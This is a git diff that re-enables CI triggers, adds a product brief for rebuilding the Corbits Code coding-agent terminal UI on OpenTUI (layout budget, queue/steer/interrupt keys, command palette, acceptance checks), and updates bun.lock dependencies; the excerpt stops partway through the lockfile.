diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index d560b7fcf..f5ecac983 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -1,14 +1,9 @@ name: CI -# Temporarily disabled: GitHub Actions billing/spending limit blocks runs -# (jobs fail before steps start). Re-enable push/pull_request triggers when -# org billing is fixed. -# -# Previous triggers: -# push: -# branches: [main] -# pull_request: on: + push: + branches: [main] + pull_request: workflow_dispatch: jobs: @@ -26,7 +21,12 @@ jobs: - name: Setup Bun uses: oven-sh/setup-bun@v2 with: - bun-version: "1.2.19" + bun-version: "1.3.14" + + # The runner image has no ripgrep, so the grep plugin silently exercised + # its fallback walker and left the ripgrep path untested. + - name: Install ripgrep + run: sudo apt-get install -y ripgrep - name: Install dependencies run: bun install --frozen-lockfile diff --git a/briefs/tui-rebuild-opentui.md b/briefs/tui-rebuild-opentui.md new file mode 100644 index 000000000..d31a48b5d --- /dev/null +++ b/briefs/tui-rebuild-opentui.md @@ -0,0 +1,308 @@ +# Product brief: Corbits Code TUI rebuild (OpenTUI foundation) + +**Status:** Ready for planning +**Audience for this doc:** whoever plans and builds the TUI rebuild +**Not this brief:** framework APIs, package versions, migration mechanics (engineer's call once product is locked) + +--- + +## One-liner + +A full-screen coding-agent TUI that feels calm and predictable for a 30-minute feature session — one layout system, one discovery surface, queue-first steering, zero “why did the screen jump?” moments. + +--- + +## Audience + +**Who:** Solo developers and small teams who already use Corbits (or a peer agent CLI) to implement a discrete feature in a real repo. They live in the terminal, care about cost and safety, and will abandon a tool that fights them mid-stream. + +**What they do today instead:** + +- Stay in Claude Code / Gemini CLI / Amp / OpenCode despite wanting Corbits' director, permissions, and multi-agent model — because the TUI feels random. +- Or stay in Corbits and work around scroll bugs, mistyped interrupt vs queue, and “where is that shortcut?” by re-reading `/help` and still guessing wrong. + +**Rough scale that matters for v1:** the people already on Corbits + the next 50–200 serious CLI-agent users evaluating switches. Not “everyone who codes.” Not IDE-first users. Not remote-control power users yet. + +**What “good” means for them:** after half an hour they trust the chrome. They steered without panic. They approved what needed approving. They can scroll the log and copy something useful. They would start another session tomorrow without a workaround ritual. + +--- + +## The hook + +**Stop the random.** Today every surface reimplements layout; scroll/overflow/focus fight each other; mid-run Enter vs Alt+Enter is the opposite of the market leader people already internalized from Amp; discovery is split across slash, help overlay, and tribal knowledge. + +Rebuild on **one layout foundation (OpenTUI)** so: + +1. The transcript is the stable center; chrome is a fixed budget, not a free-for-all. +2. **Sending while the agent runs queues by default**; interrupt is deliberate and labeled. +3. **One command palette** is how you find everything (slash remains a power path, not the only path). +4. Keybindings are listed, consistent, and settings-overridable later — not re-bound per modal by accident. + +If those four land, the product stops feeling broken. Everything else is polish or adjacency. + +--- + +## Definition of success (observable) + +After launch of this rebuild wave, a human (not a unit test) can verify: + +1. **Calm session** — In a 30-minute “implement X” session with streaming + tool calls + at least one permission prompt, the transcript does not jump, clip, or leave dead empty regions when content grows or a modal opens/closes. +2. **Steering without panic** — Operator can type mid-run, hit Enter, and see the message **queued** (badge/count visible). Interrupt requires a distinct action they can name after one look at the hint line. +3. **Discovery without docs** — From a cold start, operator opens the command palette, finds “permissions” and “model,” runs both, and returns to the prompt without memorizing slash names. +4. **Chrome budget held** — On an 80×24 terminal, the event log always has a usable scroll region while idle and while active; optional panels (tasks, agents, hooks) never permanently steal the log without an obvious way back. +5. **No “mystery key”** — Ctrl+O (or the chosen palette chord) does one job. Expand-tool is not on the same chord. Help and palette do not contradict each other. +6. **Copy path exists** — Operator can get a past assistant reply or tool output onto the system clipboard without mouse-drag terminal selection (which we know is flaky across terminals). Does not need perfect multi-select yet. + +**Money / retention proxy (product, not finance):** existing Corbits users stop filing “TUI is broken / scroll is wrong / I interrupted by accident” as the top session-killers within one release cycle of the rebuild landing. If those tickets still dominate, the rebuild failed even if OpenTUI is “in.” + +--- + +## Good 30-minute session (felt experience) + +Operator opens `corbits "Add X to the API"` in a real repo. + +1. **0–1 min** — Screen paints once. Header says who is running (model/profile). Prompt is ready. No layout thrash on first stream token. +2. **1–10 min** — Agent streams; tool rows appear; log auto-follows unless operator scrolled up (then a clear “follow live” affordance). Cost or status is glanceable, not screaming. +3. **Mid-run** — Operator types “also add a test.” Enter → message sits in queue with a count. Agent finishes current step/turn and picks it up. If they meant “stop now,” they use the interrupt chord (documented on the hint line) and the run stops without ambiguity. +4. **Permission** — Modal overlays cleanly; log does not reflow into gibberish; Allow Once / Always works; focus returns to prompt. +5. **Orchestrator path (if on)** — Agents strip shows children; Enter-observe is intentional; Esc leaves. Parent log still makes sense. +6. **End** — They scroll back, copy a diff or answer, `/clear` or quit without residual alt-screen garbage. + +If any of those steps feel like fighting the terminal, v1 is not done. + +--- + +## Amp: steal / adapt / ignore + +| Amp idea | Verdict | Why | +|---|---|---| +| Own TUI foundation for no flicker, smooth stream scroll, mouse, overlays | **Steal (via OpenTUI, not a from-scratch framework)** | Root cause of Corbits pain is fragmented layout. OpenTUI is the chosen foundation; goal is Amp-class *behavior*, not Amp's private renderer. | +| Command palette (Ctrl+O) as primary discovery | **Steal** | Slash-only discovery fails cold users. Palette is how people find mode, permissions, IDE connect in Amp. Corbits today burns Ctrl+O on tool expand — wrong priority. | +| Queue-by-default while agent runs; interrupt is special | **Steal** | Corbits today: Enter interrupts, Alt+Enter queues — inverted vs Amp and vs operator expectation once they've used Amp. Inversion is a retention tax. | +| Steer (deliver at next tool boundary) vs hard interrupt | **Steal (locked)** | **Enter** = queue · **Alt+Enter** = steer at tool boundary · **Ctrl+C** = interrupt. Queue drain is tool-boundary, not only full idle. | + +| One polished visual system, not many themes | **Steal** | One default theme, restrained accents. Theme marketplace is vanity until chrome is stable. | +| Keybindings discoverable; customize via settings | **Adapt** | v1: discoverable + consistent + documented in palette/help. Settings remap is **later** unless it falls out of the keymap table for free. | +| Plugin UI primitives: notify / confirm / input / select (TUI+web) | **Adapt (TUI only in v1)** | Corbits plugins already exist. v1 needs a small, stable TUI dialog kit so plugins and core modals share one stack. Web mirror of those primitives is later. | +| Remote control / multi-thread / web mirror | **Ignore for this project** | Product adjacency. Does not fix “TUI feels broken.” Note in plan as non-goals so nobody sneaks them in. | +| Thread sharing, multiplayer, orbs, schedules | **Ignore** | Amp product surface, not Corbits' job this wave. | +| Amp agent modes low/medium/high/ultra | **Ignore as UI chrome** | Corbits already has model/profile/effort surfaces. Do not clone Amp's mode marketing. | +| Mouse support | **Adapt lightly** | Wheel scroll on the log is must-ship if OpenTUI makes it cheap. Click-to-focus everywhere is later. | +| Selection/copy still hard in Amp (community scar) | **Learn — ship a deliberate copy path** | Do not claim mouse selection is solved. Ship message/tool pick-to-clipboard (Corbits already has Alt+C direction — keep and make reliable). | +| Lag on huge threads (Amp scar) | **Learn — budget for long logs** | v1 must define a max comfortable log strategy (windowed render / virtualize / collapse old tools). “Render every historical line forever” is out. | +| Ink (Claude/Gemini) stay path | **Ignore as destination** | Peers on Ink are reference for UX patterns only; decision is OpenTUI. | +| pi-tui differential renderer | **Ignore as destination** | Interesting peer; not our stack. Steal ideas about differential paint only if OpenTUI already exposes them. | + +--- + +## Chrome budget (plain language) + +Think of the terminal as rent. The **event log pays the rent**. Everything else is a tenant with a lease limit. + +### Fixed tenants (always on, small) + +- **Header** — who/what session (profile, workflow chip if any). ~2 rows. +- **Prompt stack** — model/action bar + bordered input + status. ~5–6 rows total when idle. +- **Optional progress line** — only while the agent is active or a workflow chip needs it. Collapses when idle. + +Hard rule: on **24 rows**, the log still gets **at least ~12 rows** idle. On **80 cols**, no chrome wraps into a second unexpected block that steals log height without a single source of truth. + +### Optional tenants (toggle, never stack forever) + +- Tasks panel, hooks panel, agents strip expand, goal view, full-screen managers (`/model`, settings, permissions). +- **One primary overlay at a time** for blocking work (permission, operator question, full-screen picker). Non-blocking toasts/banners are thin and timed or dismissible. +- Opening B while A is open either replaces A or stacks with a single Esc path that always returns to the prompt. No orphan focus. + +### Layout principles + +1. **One geometry owner** — zones and row budgets live in one place; components consume budgets; they do not invent height. +2. **Transcript is the scroll root** — only one vertical scroll surface owns mouse wheel + page keys unless a modal explicitly captures them. +3. **Follow vs pinned** — auto-follow when at bottom; leave follow when operator scrolls up; show how to reattach. +4. **Streaming must not thrash** — appends paint smoothly; no full-redraw flicker; no jump-to-top on each token. +5. **Modals measure the remaining box** — they never assume full terminal height without subtracting chrome. +6. **Long content collapses by default** — tool output and huge assistant blobs start collapsed or windowed; expand is explicit (and not on the palette chord). + +--- + +## Interaction principles (plain language) + +1. **Queue is the default mid-run send.** Enter while running enqueues. Badge shows count. Operator can cancel/edit queued items (minimum: clear last / clear all). Delivery is at **tool boundary**. +2. **Steer is ASAP.** Alt+Enter injects at the next tool boundary (Amp-like). +3. **Interrupt is loud and rare.** **Ctrl+C** hard-stops the current run (does not quit the app without confirm if that already exists). Hint line always shows: *queue* / *steer* / *stop*. +3. **Palette is how you discover.** One chord opens a searchable list of commands, panels, and settings entry points. Slash commands remain for muscle memory and scripting muscle; every slash entry has a palette twin. +4. **One meaning per chord.** No dual-use Ctrl+O. Expand-tool moves. Help does not invent shortcuts the keymap does not honor. +5. **Focus is a stack.** Prompt → overlay → nested picker → back. Esc always means “pop one level” until prompt. Double-Esc clear-prompt only when already at prompt (document that). +6. **Permissions stay sacred.** Rebuild does not soften the gate. Faster chrome, same safety story. +7. **Orchestrator is optional chrome.** Single-agent sessions do not pay agents-strip tax. Orchestrator shows strip without stealing the log permanently. +8. **Copy is a product feature, not terminal luck.** Keyboard path to clipboard for messages and tool output. +9. **Performance is UX.** A 2-hour session with hundreds of tool rows must still scroll. If it lags, collapse/window — do not “fix later.” +10. **No theme zoo.** One visual system. Accessibility contrast over fashion. + +### Mid-run semantics change (explicit product call) + +| Today (Corbits) | Target | +|---|---| +| Enter = interrupt + send | Enter = **queue** (tool-boundary delivery) | +| Alt+Enter = queue | Alt+Enter = **steer** (ASAP tool boundary) | +| (no clear interrupt) | Ctrl+C = **interrupt** | +| Hint line documents both | Hint line + palette: queue / steer / interrupt | + +This is a breaking muscle-memory change for existing Corbits users. Ship it with a one-time banner or `/help` callout in the release notes — still worth it; Amp already trained the market. + +--- + +## In scope for v1 (must-ship) + +Smallest set that proves the hook: + +1. **OpenTUI foundation** for the main session shell: header, event log, prompt, status, modal host. +2. **Single layout/geometry system** (chrome budget enforced; one scroll root). +3. **Smooth streaming + follow/pin scroll behavior** under load (tools + tokens). +4. **Queue-by-default mid-run send** + visible queue badge + clear/cancel queue (Enter). +5. **Steer** via Alt+Enter at tool boundary + **Ctrl+C interrupt**, both on hint line and in palette. +6. **Command palette** as primary discovery (commands, panels, model/settings entry). +7. **Existing critical modals on the shared overlay host:** permission, operator ask, model/settings (or thin wrappers), exit confirm. +8. **Reliable copy path** for message / tool output (keyboard). +9. **Long-log strategy** so huge threads do not melt the TUI (windowing or collapse policy — pick one in the plan, ship it). +10. **Keymap table is truth** — help, palette, and actual handlers match; Ctrl+O is palette not expand-tool. +11. **Mouse wheel scroll** on the log (if OpenTUI supports it cleanly). +12. **Parity for session mode, auto mode toggle, agents strip observe/leave** — behavior preserved, chrome cleaned. + +### Explicitly out of scope (later / adjacency) + +- Remote control from web +- Web UI mirror of plugin dialogs +- Multiplayer / thread sharing +- Full keymap customization UI (unless free) +- Theme marketplace / multiple official themes +- Perfect terminal mouse text selection +- Amp-style queue item reorder + selective steer (unless default queue is insufficient) +- Rebuild of exec/non-TUI path (leave stable; only share types/events if needed) +- IDE extensions +- Rewriting the director, permissions policy, or agent loop “while we're here” +- New product surfaces (schedules, orbs-equivalents, etc.) + +If a planning doc starts estimating remote control, stop and re-read this section. + +--- + +## Constraints + +- **Foundation decision:** OpenTUI (OpenCode's stack). Do not reopen Ink vs OpenTUI in the plan unless OpenTUI is proven unblockable — then escalate as a risk, not a casual pivot. +- **Product identity stays Corbits:** deterministic director, permission gate, goals/tasks, orchestrator vs single — UI serves those; it does not become “Amp skin.” +- **Breaking interaction change is allowed** for queue-default; document it. +- **Terminal reality:** 80×24 minimum; 120×40 common; tmux users exist (Shift+Enter newline may not work — keep a newline chord). +- **No code in this brief; no Linear expansion from this brief alone** — planning agent turns this into work. + +--- + +## Open risks and unresolved decisions + +| Risk / decision | Status (2026-08-05) | +|---|---| +| Exact interrupt chord | **LOCKED:** Ctrl+C = interrupt · Enter = queue · Alt+Enter = steer | +| Queue drain boundary | **LOCKED:** tool boundary (not only full idle) | +| Palette chord | **LOCKED:** Ctrl+O = palette; move expand-tool | +| Long-log policy | **LOCKED ideal:** viewport working set; scroll up collapses off-bottom / shows into-top; numeric N in CL-5399 | +| OpenTUI maturity / gaps | Spike decides go/no-go (CL-5365); binding ADR (CL-5366) | +| Existing user muscle memory | **LOCKED:** no legacy Enter-interrupts toggle; educate once | +| Platform support | **LOCKED:** macOS #1, Linux #2, Windows non-blocking | +| Cutover | **LOCKED:** branch hard cutover; no dual-release; scrap branch if epic fails | +| Plugin dialog kit depth | Cap at four primitives for v1 (notify/confirm/input/select) — still fine | +| Agents strip + goal/tasks density | Chrome budget in plan §5; constitution finishes numbers | + +--- + +## Acceptance checks (human, no code reading) + +Run on a real repo, real model, 80×24 and a larger terminal. + +### A. Layout calm + +- [ ] Start session; stream 500+ tokens; log follows bottom; no flicker/tear. +- [ ] Scroll up mid-stream; view stays pinned; a clear control resumes follow. +- [ ] Open permission modal; dismiss; log height and content position remain sane. +- [ ] Toggle tasks panel open/closed; log remains usable; Esc returns focus to prompt. + +### B. Queue / steer / interrupt + +- [ ] While agent runs, type a message and press Enter → queued (count ≥ 1), agent does **not** stop. +- [ ] Queued message delivers at next **tool boundary** without re-typing. +- [ ] Alt+Enter steers ASAP at tool boundary. +- [ ] Ctrl+C interrupts the run; agent stops; no silent no-op. +- [ ] Hint line names queue, steer, and stop. +- [ ] Interrupt chord stops the run; partial work does not leave the UI wedged. +- [ ] Hint line names both actions in plain words. + +### C. Discovery + +- [ ] Cold user opens palette, types “perm”, opens permissions manager, Esc to prompt. +- [ ] Palette lists model/settings and at least the built-in slash commands. +- [ ] `/help` (or help command) does not advertise chords the app ignores. + +### D. Copy and length + +- [ ] Copy an assistant message to clipboard via keyboard path; paste elsewhere succeeds. +- [ ] Session with many tool calls still scrolls; expand/collapse tool output works; palette chord is not required for expand. + +### E. Orchestrator (if enabled) + +- [ ] Child agents appear on strip; observe session; Esc returns to parent; parent log still coherent. + +### F. Regression sacredness + +- [ ] Permission gate still blocks a consequential action in ask mode. +- [ ] SHIFT+TAB still toggles auto mode with a visible cue. +- [ ] Quit path still confirms; no stuck alt-screen on exit. + +All boxes checked ⇒ rebuild wave is shippable. Any open box ⇒ not done, regardless of “migrated to OpenTUI.” + +--- + +## What the plan document must force us to answer + +**Suggested plan title:** `TUI rebuild: OpenTUI shell, queue-first steering, command palette` + +**Sections the plan is not allowed to skip:** + +1. **Product non-goals** — Copy the out-of-scope list; add any new temptations and kill them. +2. **Interaction contract** — Final table: Enter / newline / queue / interrupt / Esc / palette chord. No “TBD” after spike. +3. **Chrome budget table** — Row rents per zone at 24 and 40 rows; which panels are mutually exclusive. +4. **Scroll & streaming model** — Follow/pin rules; who owns the wheel; what happens on modal open. +5. **Long-log strategy** — Chosen algorithm + failure mode when history is huge. +6. **Palette IA** — Command inventory (built-ins + how plugins register); search behavior; relationship to slash. +7. **Overlay host** — Stack rules; which flows are full-screen vs modal vs toast. +8. **Migration slices** — Vertical slices that each leave a runnable TUI (not a big-bang dark launch). First slice must prove scroll+stream calm. +9. **Spike results** — OpenTUI: streaming, mouse, overlays, performance, packaging. Go/no-go criteria. +10. **Breaking-change comms** — Queue-default Enter; keymap moves; release note copy. +11. **Acceptance** — Paste the human checklist; map each item to an owner and a manual test script. +12. **Explicit deferrals** — Remote control, web mirror, keymap editor, selective steer — with “revisit when” triggers. + +A plan that only says “port components to OpenTUI” is not a plan. A plan that answers the twelve is. + +--- + +## Glossary + +| Term | Meaning in this brief | +|---|---| +| **Chrome** | Everything that is not the scrollable event log/transcript (header, prompt, status, strips, panels, modals). | +| **Chrome budget** | Fixed row/column rents so the log always has a usable region. | +| **Event log / transcript** | The main scrollable history of user, assistant, tools, and system events. | +| **Queue** | Operator messages held while the agent is running, delivered at a defined boundary without stopping current work. | +| **Interrupt** | Hard stop of the current agent run so the operator can take over immediately. | +| **Steer** | (Amp) deliver a queued message at the next opportunity before full idle; Corbits v1 may only ship queue+interrupt unless plan expands. | +| **Command palette** | Searchable overlay of actions/commands; primary discovery surface. | +| **Overlay host** | Single stack that owns modals/full-screen managers and focus return. | +| **Follow vs pin** | Auto-scroll with new output vs user-scrolled frozen viewport. | +| **OpenTUI** | Chosen TUI foundation (OpenCode stack) replacing the current Ink-centric shell. | +| **Session mode** | `single` vs `orchestrator` — product setting; UI must respect both. | +| **Agents strip** | Orchestrator UI for child sessions (observe/leave). | +| **Copy path** | First-class keyboard flow to put content on the system clipboard. | +| **Long-log strategy** | How the UI stays responsive as history grows (window/collapse/cap). | + +--- + +## Bottom line + +Ship a TUI people stop apologizing for. One geometry owner, queue-first send, palette discovery, interrupt on purpose, copy that works, logs that do not melt. OpenTUI is the foundation, not the product. Remote control and web mirrors do not pay the rent until the main stage is solid. diff --git a/bun.lock b/bun.lock index 1d6edf6fe..4362bf880 100644 --- a/bun.lock +++ b/bun.lock @@ -14,21 +14,29 @@ "@intx/tools-posix": "0.2.2", "@intx/types": "0.2.2", "@modelcontextprotocol/sdk": "^1.29.0", + "@opentui/core": "0.5.1", + "@opentui/keymap": "0.5.1", + "@opentui/solid": "0.5.1", "arktype": "catalog:", "highlight.js": "^11.11.1", + "solid-js": "1.9.14", }, "devDependencies": { "@intx/inference-testing": "0.2.2", "@types/bun": "1.3.9", - "@types/react": "^19.2.15", - "ink": "^7.0.4", - "ink-testing-library": "^4.0.0", - "react": "^19.2.6", - "react-devtools-core": "^7.0.1", "typescript": "5.9.3", "typescript-language-server": "^4.3.4", "ws": "^8.21.0", - "yoga-layout": "~3.2.1", + }, + "optionalDependencies": { + "@opentui/core-darwin-arm64": "0.5.1", + "@opentui/core-darwin-x64": "0.5.1", + "@opentui/core-linux-arm64": "0.5.1", + "@opentui/core-linux-arm64-musl": "0.5.1", + "@opentui/core-linux-x64": "0.5.1", + "@opentui/core-linux-x64-musl": "0.5.1", + "@opentui/core-win32-arm64": "0.5.1", + "@opentui/core-win32-x64": "0.5.1", }, }, "packages/first-class-providers": { @@ -67,12 +75,68 @@ "tar": "^7.5.1", }, "packages": { - "@alcalzone/ansi-tokenize": ["@alcalzone/ansi-tokenize@0.3.0", "", { "dependencies": { "ansi-styles": "^6.2.1", "is-fullwidth-code-point": "^5.0.0" } }, "sha512-p+CMKJ93HFmLkjXKlXiVGlMQEuRb6H0MokBSwUsX+S6BRX8eV5naFZpQJFfJHjRZY0Hmnqy1/r6UWl3x+19zYA=="], + "@ampproject/remapping": ["@ampproject/remapping@2.3.0", "", { "dependencies": { "@jridgewell/gen-mapping": "^0.3.5", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw=="], "@ark/schema": ["@ark/schema@0.56.0", "", { "dependencies": { "@ark/util": "0.56.0" } }, "sha512-ECg3hox/6Z/nLajxXqNhgPtNdHWC9zNsDyskwO28WinoFEnWow4IsERNz9AnXRhTZJnYIlAJ4uGn3nlLk65vZA=="], "@ark/util": ["@ark/util@0.56.0", "", {}, "sha512-BghfRC8b9pNs3vBoDJhcta0/c1J1rsoS1+HgVUreMFPdhz/CRAKReAu57YEllNaSy98rWAdY1gE+gFup7OXpgA=="], + "@babel/code-frame": ["@babel/code-frame@7.29.7", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.29.7", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-Aup7aUOfpbAUg2ROOJN6Iw5f9DMBlzu0mIkm/malLQFN/YQgO48wCj0Kxa3sEHJvPVFg7siR+qRInwXd2qhQKw=="], + + "@babel/compat-data": ["@babel/compat-data@7.29.7", "", {}, "sha512-locTkQyKvwIEgBzVrn8693ebc97F2U8ZHjbXwDXJ5Fn2TCpNwTlKcaKLkdHop5c/icOFE7qt7Q9JC5hnKNa6Gg=="], + + "@babel/core": ["@babel/core@7.28.0", "", { "dependencies": { "@ampproject/remapping": "^2.2.0", "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.0", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-module-transforms": "^7.27.3", "@babel/helpers": "^7.27.6", "@babel/parser": "^7.28.0", "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.0", "@babel/types": "^7.28.0", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-UlLAnTPrFdNGoFtbSXwcGFQBtQZJCNjaN6hQNP3UPvuNXT1i82N26KL3dZeIpNalWywr9IuQuncaAfUaS1g6sQ=="], + + "@babel/generator": ["@babel/generator@7.29.8", "", { "dependencies": { "@babel/parser": "^7.29.8", "@babel/types": "^7.29.8", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-gZbepsdh3WDtgZKWL+vTPh71LSBrm/Y4/QDZBVCcYfmeTEEuoOYwlSy+G1StfJg+/Zy550u/3TATbm7qDbbMtg=="], + + "@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.29.7", "", { "dependencies": { "@babel/types": "^7.29.7" } }, "sha512-OoK6239jHPuSQOoS0kfTVKn0b/rVTk0seKq4Gd2UMLtmOVLjDC0ki3e+c90Trqv2gMfvJFqkiljrr568+qddiw=="], + + "@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.29.7", "", { "dependencies": { "@babel/compat-data": "^7.29.7", "@babel/helper-validator-option": "^7.29.7", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-wem6WaBj4NaVYVdNhLPPVacES6ZJ+KBBfSkTMD3YZxbP3rm3Di85tJU5ljaUNhaOynt+Aj0xruhYuzQBt8n71g=="], + + "@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.29.7", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.29.7", "@babel/helper-member-expression-to-functions": "^7.29.7", "@babel/helper-optimise-call-expression": "^7.29.7", "@babel/helper-replace-supers": "^7.29.7", "@babel/helper-skip-transparent-expression-wrappers": "^7.29.7", "@babel/traverse": "^7.29.7", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-IY3ZD9Tmooqr3TUhc3DUWxiuo8xx1DWLhd5M7hQ+ZWJamqM2BbalrBJb2MisSLoYorOj75U03qULCxQTY9r3hg=="], + + "@babel/helper-globals": ["@babel/helper-globals@7.29.7", "", {}, "sha512-3nQVUAtvkKH9zahfWgw96Jc/uFOmjACE1kQz82E2lqWmHBgjzbNlsC22nuQTfahmWeQtTq5nQ/4Nnd2A1wj4zA=="], + + "@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.29.7", "", { "dependencies": { "@babel/traverse": "^7.29.7", "@babel/types": "^7.29.7" } }, "sha512-j+7JYmk1JYDtACIGj0QJqqWZjoUpMoEikQGADMaHgCMCSDqd2+P32rfcibUNrGOMWrlzK1WJBdxrB3JJQZwWtg=="], + + "@babel/helper-module-imports": ["@babel/helper-module-imports@7.29.7", "", { "dependencies": { "@babel/traverse": "^7.29.7", "@babel/types": "^7.29.7" } }, "sha512-ejHwrQQYcm9xnTivShn2IDOlIzInN34AXskvq9QicvCtEzq1Vzclu/tKF8Jq1Cg8JG2GL6/EmjgsCT7lXepE3g=="], + + "@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.29.7", "", { "dependencies": { "@babel/helper-module-imports": "^7.29.7", "@babel/helper-validator-identifier": "^7.29.7", "@babel/traverse": "^7.29.7" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-UPUVSyXbOh627KiCIGQSgwWzGeBKLkaJ9PJEdrngIwMSzxLR4jS4+f1f1jb7VzBbg8nFLaYotvVPFCTqdrmTAg=="], + + "@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.29.7", "", { "dependencies": { "@babel/types": "^7.29.7" } }, "sha512-+kmGVjcT9RGYzoDwdwEqEvGgKe3BYq+O1iGzjFubaNgZHwYHP6lsF2Yghf4kEuv9BV7tYDZ913aBW9am6YKong=="], + + "@babel/helper-plugin-utils": ["@babel/helper-plugin-utils@7.29.7", "", {}, "sha512-G7sHYigPY17oO5SYWnfD/0MTBwVR781S/JI643e/JhUYgVgWE/61SoW3NH9KWUKyKq5LVh3npif99Wkt6j86Jw=="], + + "@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.29.7", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.29.7", "@babel/helper-optimise-call-expression": "^7.29.7", "@babel/traverse": "^7.29.7" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-atfGXWSeCiF4DnKZIfmJfQRkSw9b9gNNXR1kqKjbhG4pGYCOnkp8OcTB8E3NXjBu8NpheSnOeNKz8KT7UNFTmQ=="], + + "@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.29.7", "", { "dependencies": { "@babel/traverse": "^7.29.7", "@babel/types": "^7.29.7" } }, "sha512-brcMGQaVzIeUb+6/bs1Av0f8YuNNjKY2JyvfRCsFuFsdKccEQ5Ges2y74D74NZ1Rz8lKJ9ksJkfqwQFJ/iNEyQ=="], + + "@babel/helper-string-parser": ["@babel/helper-string-parser@7.29.7", "", {}, "sha512-Pb5ijPrZ89GDH8223L4UP8i6QApWxs04RbPQJTeWDV0/keR2E36MeKnyr6LYmUUvqRRI+Iv87SuF1W6ErINzYw=="], + + "@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.29.7", "", {}, "sha512-qehxGkRj55h/ff8EMaJ+cYhyaKlHIxqYDn682wQD7RNp9UujOQsHog2uS0r2vzr4pW+sXf90NeeayjcNaX3fFg=="], + + "@babel/helper-validator-option": ["@babel/helper-validator-option@7.29.7", "", {}, "sha512-N9ZErrD+yW5geCDtBqnOoxmR8+tNKiGuxKlDpuJxfsqpa2dFcexaziGAE/qoHLiDDreVNMupxGmSoNlyvsA3gw=="], + + "@babel/helpers": ["@babel/helpers@7.29.7", "", { "dependencies": { "@babel/template": "^7.29.7", "@babel/types": "^7.29.7" } }, "sha512-1k2lAGRMfHTcwuNYcCNUmaUffmQv8KWMfh2iJUUeRlwlwH4FdNG7mfPI10NPfLHJFThE4Tyr4mv7kTNZOiPuBg=="], + + "@babel/parser": ["@babel/parser@7.29.8", "", { "dependencies": { "@babel/types": "^7.29.8" }, "bin": "./bin/babel-parser.js" }, "sha512-E8lTAYNB1KW+FH+VGJuZM1ioAx2E6oVlvQFRrf5P8ZZmsiJXYAD9vTFV7yyEURNzgh1dFqMZuO6tUwcARbqFCA=="], + + "@babel/plugin-syntax-jsx": ["@babel/plugin-syntax-jsx@7.29.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.29.7" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-TSu8+mHCoEaaCDEZ0I3+6mvTBYR4PCxQwf2z9/r5Tbztv6NaLR3B9thGTTxX2WGuGHJqRiAbKPeGTJ5XWXVg6A=="], + + "@babel/plugin-syntax-typescript": ["@babel/plugin-syntax-typescript@7.29.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.29.7" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ngr+82Sh0xMz25TPCZi+nC2iTzjfCdWS2ONXTp/PtSCHCgaCNBpdMqgvJ2ccdLlClVZ7sisIgB914j/JFe+RZA=="], + + "@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.29.7", "", { "dependencies": { "@babel/helper-module-transforms": "^7.29.7", "@babel/helper-plugin-utils": "^7.29.7" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-j0vCldybPC5b5dwCQOJ21uKtHzt7hxLygJTg9eF1ScfaikEDNfzn94XoW5Fi+seBR0nCyL23xaBFFkq7dTM8XQ=="], + + "@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.29.7", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.29.7", "@babel/helper-create-class-features-plugin": "^7.29.7", "@babel/helper-plugin-utils": "^7.29.7", "@babel/helper-skip-transparent-expression-wrappers": "^7.29.7", "@babel/plugin-syntax-typescript": "^7.29.7" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-jK52h8LaLc7JarhQV2ofeFMts4H7vnOXnqZNA6fYglBTZewRBE51KWt3BUltW1P+KoPsYkHoJeXePuz4zo2LMw=="], + + "@babel/preset-typescript": ["@babel/preset-typescript@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-typescript": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-l7WfQfX0WK4M0v2RudjuQK4u99BS6yLHYEmdtVPP7lKV013zr9DygFuWNlnbvQ9LR+LS0Egz/XAvGx5U9MX0fQ=="], + + "@babel/template": ["@babel/template@7.29.7", "", { "dependencies": { "@babel/code-frame": "^7.29.7", "@babel/parser": "^7.29.7", "@babel/types": "^7.29.7" } }, 